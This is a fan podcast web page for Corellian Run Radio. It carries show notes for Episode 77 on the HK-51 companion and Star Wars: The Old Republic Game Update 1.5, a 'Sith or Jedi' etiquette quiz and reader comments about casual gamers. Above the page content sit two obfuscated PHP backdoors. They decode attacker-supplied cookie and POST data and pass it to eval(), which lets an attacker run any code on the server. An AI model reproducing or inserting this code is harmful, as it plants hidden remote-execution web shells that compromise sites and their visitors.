$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Episode 77: HK-51 Arriving Soon! – Corellian Run Radio
Oct 172012
 

HK-51:   You want some of this, dirtbag?

This week Jeff from TORWars.com joins Carla & Deirdre to talk all about this week’s HK-51 on the PTS, Community Roundup, Dev Tracker, Game Update 1.5 on the PTS, and more.

 

FACT OR FICTION: Can you pick out the true fact?  This week’s fact or fiction is all about this week’s Update 1.5 on the PTS.

 

More Episode #77 and Comments after the jump…

FROM THE NEWSNET & BEYOND: Roundup of the most important announcements and news.

1. Meet the Developers – Jesse Sky http://www.swtor.com/info/news/blog/20121009
2. Community Roundup – http://www.swtor.com/blog/community-round-october-12th-2012
3. Dev Tracker – http://www.swtor.com/blog/dev-tracker-summary-october-12th-2012
4. Server Crash – http://www.swtor.com/community/showthread.php?t=543310
5. Game Update 1.5 on the PTS – http://www.swtor.com/info/news/%5Bnews-category%5D/20121011
6. HK-51 Active on the PTS – http://www.swtor.com/info/news/news-article/20121011

QUICK MENTIONS:

A glance at this week’s articles on CRR:
Operation: Information – Rise of the Nerfs – http://corellianrun.com/2012/10/12/operation-information-rise-of-the-nerfs/
HoloNet Links #67: http://corellianrun.com/2012/10/11/holonet-links-11/
Tactical Strike Advanced Class Spotlight – Sentinels & Marauders http://corellianrun.com/2012/10/10/tactical-strike-advanced-class-spotlight-sentinels-and-marauders/
Community Checkpoint – Pandamonium http://corellianrun.com/2012/10/08/community-checkpoint-11/

 

Sith or Jedi:  Test of the Parade Goer

While at a them park coined as the happiest place on earth, you find a nice spot to sit while waiting for the main parade. While you’re sitting with your child a person sits not only right next to you, but practically ON you. It’s truly inconsiderate. You try to move over a little to give yourself room but there isn’t any. You are relieved when the person can’t fit their entire ten person party into the space and you’ve made it clear, you’re not budging one inch, even if they’re breathing on you and their breath smells like putrid cotton candy. The family gives up and moves so you take this moment of freedom and set your backpack right next to you, making it look like your saving a seat.

One minute after the parade starts a woman and her baby ask if there’s anyone sitting next to you and essentially if you can move your backpack. You:

1 – Smile kindly and move your pack so that she can have the last spot on the parade route.
2 – Pretend you don’t hear her and continue to laugh and cheer at the parade.
3 – Remember that bean burrito you had for lunch? Look her right in the eye and let all the pressure fly loud and proud. Then move the backpack.

Community Buzz:

Game Update 1.5 on the PTS
HK-51

 

Want your guild highlighted?   Drop us an email at:   corellianrun@gmail.com

Thank you, Jeff, for joining us this week!   Be sure to check out TORWars.com !

Thank you, EVERYONE, for listening!

 Posted by at 4:00 pm

  2 Responses to “Episode 77: HK-51 Arriving Soon!”

  1. The problem with MMO’s today, is the problem with MMO’s 15 years ago since UO: the casual gamer. When you make things take time, commitment, and dedication to earn, the casual gamer gripes that they cannot earn it walking back and forth in their ship. But then when you make it mindless, brainless and achievable within a day, then they complain that there is no content and they ran out and whine whine whine.

    So the real question: do you aim this game at the casual gamer, the dedicated gamer, or attempt and fail to aim it at both?

  2. @Michael You bring up a good point. How do developers gear a game in today’s market filled with social media games etc.? I think there needs to be a middle ground. I understand you will not please everyone, but maybe there needs to be parallel goals. Some that are for those gamers who can dedicate the time and other goals just as engaging, but less time consuming for the more casual player.
    In no way, do I think the goals or rewards should be equal. I use the example of Storymode for Operations. They are geared to show every player the basic story and workings of the Operations, but are not terribly difficult and they do not yield the top-tier loot. Perhaps there should be a Storymode for certain quest lines, where you pick the difficulty and then the rewards are set for the level of difficulty. The reward of HK-51 could be the same, but maybe for a lesser difficulty quest, the crafting bonuses of the new companion would be less than that of a higher level. Just an idea. What do you think?

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